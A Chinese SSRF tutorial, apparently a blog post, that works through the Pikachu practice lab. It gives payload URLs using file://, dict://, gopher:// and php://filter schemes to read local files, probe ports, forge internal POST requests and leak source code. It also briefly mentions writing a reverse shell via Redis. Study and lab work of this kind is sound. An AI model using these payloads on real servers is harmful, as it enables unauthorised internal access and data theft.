SSRF攻击技术

1、SSRF形成原因

       SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

2、SSRF漏洞可利用的用途

  • 可以对外网服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

  • 攻击运行在内网或本地的应用程序(比如溢出)

  • 对内网web应用进行指纹识别,通过访问默认文件实现

  • 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等

  • 利用file协议读取本地文件等

SSRF攻击结果由涵数本身来决定,涵数功能越强大,攻击成功的机会就越高,如:curl_init、file_get_contents、fsockopen

3、如何挖掘ssrf漏洞 

  • 分享:通过URL地址分享网页内容

  • 转码服务

  • 在线翻译

  • 图片加载与下载:通过URL地址加载或下载图片

  • 图片、文章收藏功能

  • 未公开的api实现以及其他调用URL的功能

  • 从URL关键字中寻找:

    • share

    • wap

    • url

    • link

    • src

    • source

    • target

    • u

    • 3g

    • display

    • sourceURl

    • imageURL

    • domain

    • ...

 phpstudy选择5.4.45版本:

打开pikachu靶场环境:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php

curl  函数

curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP

查看源代码:

 //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);

使用了url参数,未经过滤给了curl_init函数
 

https协议的运用 

 通过添加URL参数url的值指向第三方百度网页:(因支持https协议)

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

 说明:

IP地址和端口:

  • 10.0.0.101: 这是一个本地或私有网络IP地址。
  • :90: 这是服务器上运行的应用程序的端口号。

路径和文件

/pikachu/vul/ssrf/ssrf_curl.php: 这是服务器上的文件路径。

URL参数

?url=https://www.baidu.com: 这个URL参数url的值指向了百度的公共网站。在正常情况下,如果ssrf_curl.php使用这个参数来发起HTTP请求,它会访问百度。但在存在SSRF漏洞的情况下,攻击者可能会利用这个参数构造恶意请求,指向内部网络资源,从而获取未授权的数据。

 http协议的运用

也可以通过ssrf攻击访问内网其他主机:(http协议)

如:访问内网win10主机的根目录所有网站信息:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://10.0.0.103:99

内网win2003主机  http://10.0.0.101:90/
内网win10主机   http://10.0.0.103:99/ 

 成功显示网站信息:


file协议的运用

通过file读取文件信息:

如读取目标主机c盘下2024.txt文件内容

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/2024.txt

成功读取2024.txt文件内容 


dict协议的运用

 通过dict探测端口:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:99

 输入不存在的端口号,网页不显示内容:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:8080

可通过抓包工具设置端口变量跑端口 


 gopher协议的运用

简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。 

进行如下请求可以发送一个POST请求,且参数cmd的值为balabal,这里构造gopher请求的时候,回车换行符号要进行2次url编码%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

此时可以在192.168.0.105主机中的access.log,找到访问日志。

当然也可以使用网络数据包分析工具,抓取TCP流量中HTTP的数据,这里我使用的是 burp。

 bp请求包内容等同于:

POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色


file_get_contents() 函数

file_get_contents() 函数在PHP中支持多种协议,不仅可以用于读取本地文件,还可以用于获取远程资源。以下是它支持的一些常见协议:

  1. file:用于读取本地文件系统中的文件,例如 file:///path/to/file.txt
  2. http:用于从HTTP服务器获取内容,如 http://www.example.com/page.html
  3. https:用于从HTTPS服务器安全地获取内容,如 https://www.example.com/secure_page.php
  4. ftp:用于从FTP服务器下载文件,需要服务器支持被动模式(FTP_PASV)以绕过一些防火墙限制。
  5. ftps:用于通过FTP的SSL/TLS加密层安全地下载文件。
  6. data:用于处理data:URI,这种URI可以直接在HTTP请求中包含小量数据,例如图片或文本。
  7. phar:用于读取PHP的Phar归档文件。
  8. compress.zlib 和 compress.bzip2:用于解压缩通过zlib或bzip2压缩的文件。
  9. env:用于获取环境变量的值。

 打开pikachu靶场环境--点击ssrf--file_get_contents():

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents
 http协议应用

访问百度

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com

 读取当前目录下ssrf.php源代码(并进行base64编码):

?file=php://filter/read=convert.base64-encode/resource=ssrf.php

当前目录下的ssrf.php

添加 ../ 可以访问上级目录的文件,如../lan.php

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

 读取成功,

复制读取到的源码进行解码:

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=

 成功获取到源代码:


4、ssrf 怎么用 redis 写 shell ?

(1)SSRF 服务端请求伪造

  • 一、对内网扫描,获取 banner

  • 二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)

  • 三、利用协议读取本地文件

  • 四、云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS 的 API

(2)如 webligic SSRF 漏洞通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入 crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a https://www.jianshu.com/p/42a3bb2b2c2c 


5、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

  • XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、输出时采用 html 实体编码。

  • CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer

  • XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

  • 重点:


 6、XXS与SSRF的区别?

SSRF属于服务端攻击,无需输出就能攻击,利用dnslog来实现攻击的,结果值在dnslog日志体现; XSS属于客户端攻击,必须有输入和输出,xss不需要登陆就可以实现脚本攻击


 7、CSRF、SSRF 和重放攻击有什么区别?

CSRF 是跨站请求伪造攻击,由客户端发起;是在建立会话的过程点击;攻击客户端; SSRF 是服务器端请求伪造,由服务器发起;不需要建立会话过程,是攻击内网 重放攻击是将截获的数据包进行重放,达到身份认证等目的


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/14092.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

思科模拟器--03.RIP协议路由--24.5.17

1.首先,先创建两个个人电脑:PC0和PC1和三个路由器:R1,R2和R3. (诀窍:建议用文本框标注一下重要简短的内容; 目的:降低失误概率,提高成功率!) 第0步:(个人电脑的IP,子网掩码和默认网关配置) 接着,可以先将个人电脑的IP和网关先配置一下…

ThreadLocal原理及使用

一、引言 在Java多线程编程中,ThreadLocal是一个非常有用的工具,它提供了一种将对象与线程关联起来的机制,使得每个线程都可以拥有自己独立的对象副本,从而避免了线程安全问题。然而,使用不当会导致内存泄漏问题。 二…

go 微服务框架kratos错误处理的使用方法及原理探究

通过go语言原生http中响应错误的实现方法,逐步了解和使用微服务框架 kratos 的错误处理方式,以及探究其实现原理。 一、go原生http响应错误信息的处理方法 处理方法: ①定义返回错误信息的结构体 ErrorResponse // 定义http返回错误信息的…

无人机飞手前途分析

无人机飞手的前途充满了各种可能性和挑战,这主要得益于无人机技术的快速发展和广泛应用。以下是对无人机飞手前途的一些分析: 1. 技术发展与需求增长:随着无人机技术的不断进步,其应用场景也在持续扩大。从地理测绘、巡检、农林植…

利用阿里OSS服务给文件设置过期删除--简单版

在云存储广泛应用的今天,阿里云的Object Storage Service(OSS)以其高度可扩展性、安全性和成本效益,成为了众多企业和开发者存储海量数据的首选方案。随着数据量的不断膨胀,高效的数据管理和成本控制变得尤为重要。其中…

IT学习笔记--Kafka

Kafka概述: 定义: Kafka是一个分布式的基于发布/订阅模式的消息队列,主要应用于大数据实时处理领域。 消息队列消息队列的两种模式: 点对点模式: 消息生产者生产消息发送到Queue中,然后消息消费者从Queue中取出并且消费消息。 消息被消费以后&#…

Linux中解决普通用户使用不了sudo问题

目录 sudo的使用场景sudo使用不了的原因解决方法 sudo的使用场景 之前我们介绍了文件的权限问题 如果一个普通用户想去执行一个它命令之外的权限,只能使用sudo 比如普通用户使用yum去安装软件,需要sudo yum xxxx sudo使用不了的原因 这里我们用普通用户…

小恐龙跳一跳源码

小恐龙跳一跳源码是前两年就火爆过一次的小游戏源码,不知怎么了今年有火爆了,所以今天就吧这个源码分享出来了!有喜欢的直接下载就行,可以本地单机直接点击index.html进行运行,又或者放在虚拟机或者服务器上与朋友进行…

python 获取视频的时长

以下是几种获取视频时长的实现方法: 方法一:使用moviepy库 from moviepy.editor import VideoFileClipdef get_video_duration(file_path):video VideoFileClip(file_path)duration video.durationvideo.close()return duration 方法二:…

SAP-FICO-凭证编号控制

成本凭证编号KANK 如果自己的公司下没有,直接复制系统原有的就可以。使用系统默认即可。 如果不维护 会报错“CO-凭证编号分配对于成本控制范围****中的商业事务COIN无效” 财务凭证编号FBN1 可以用OBH2批量复制编号范围。 物料账期MMPV 财务账期OB52

python使用base加密解密

原理 base编码是一种加密解密措施,目前常用的有base16、base32和base64。其大致原理比较简单。 以base64为例,base64加密后共有64中字符。其加密过程是编码后将每3个字节作为一组,这样每组就有3*824位。将每6位作为一个单位进行编码&#xf…

1个逗号,提升Python代码质量

有些时候,我们会在Python代码中看到列表或其他科迭代对象的结尾会存在一个逗号: 而且编辑器和解释器都容许这种逗号的存在,它就叫作拖尾逗号。 通常是为了在频繁地增减数组元素的时候同时保证语法的正确,且拖尾逗号不占用数组的长…

MySQL 主备环境搭建 docker

MySQL 主备环境搭建 docker 拉取docker镜像 sudo docker pull mysql:8.0 启动容器 docker run -p 3339:3306 --name mysql-master -e MYSQL_ROOT_PASSWORD123456 -d mysql:8.0docker run -p 3340:3306 --name mysql-slave -e MYSQL_ROOT_PASSWORD123456 -d mysql:8.0配置 M…

第四十二天 | 背包问题理论

二维: 1.dp[i][j] 表示从下标为[0-i]的物品里任意取,放进容量为j的背包,价值总和最大是多少。 2.递归公式: dp[i][j] max(dp[i - 1][j], dp[i - 1][j - weight[i]] value[i]); 3.初始化: 首先从dp[i][j]的定义出发…

基于xilinx fpga RFSOC系列的Ultrascale+ RF Data Converter ip详解说明

目录 1 概述2 IP功能2.1 ADC性能2.2 DAC性能3 IP端口4 代码框架4.1 ADC功能框图4.2 DAC功能框图5 收发数据时序5.1 ADC数据格式5.2 DAC数据格式6 时钟配置6.1 ADC/DAC参考时钟7 数据格式配置模式7.1 ADC的配置模式7.1.1 Real -> real;7.1.2 Real ->IQ;7.1.3 IQ -> IQ;…

【设计模式】JAVA Design Patterns——Bridge(桥接模式)

🔍目的 将抽象与其实现分离,以便二者可以独立变化。 🔍解释 真实世界例子 考虑一下你拥有一种具有不同附魔的武器,并且应该允许将具有不同附魔的不同武器混合使用。 你会怎么做? 为每个附魔创建每种武器的多个副本&…

当代人工智能三教父——深度学习三巨头

文章目录 引言 人物介绍 突出贡献 专业名词解释 引言 今天下午闲来无事翻阅了一下csdn首页的头条文章——《27 岁天才创始人 Joel Hellermark 分享了自己和“AI 教父” Geoffery Hinton 的最新采访》 感觉挺有意思,就从头到尾的看了一遍,里面有很多…

pyqt5与yolov5进行视频检测(一)——登录操作

项目效果展示 一、登录界面 二、主界面 目前在更新中。。。 一、设计 二、登录代码 注意:下面会导入主界面的包,图片资源自己设计一下,密码保存时没设计加密,需要自行设计 main_window主界面下文会设计from main_window impor…

无线通信的穿墙能力主要取决于哪些指标

无线通信的穿墙能力是指无线信号在穿越建筑物墙壁时,其信号衰减程度以及能否维持足够强度以进行稳定通信的能力。穿墙能力的好坏直接影响到无线通信在室内环境中的覆盖范围和使用体验。 一、无线信号的频率 无线信号的频率是影响穿墙能力的重要因素之一。一般来说…

工行音视频服务平台建设与应用经验

近些年来,伴随着技术能力的积累突破,音视频服务开始蓬勃生长走进千家万户,使用远程视频通话、观看各类视频直播逐渐成为人们的日常,而金融服务作为社会生活的重要组成部分,自然需要积极拥抱应用新技术。 如今&#xff…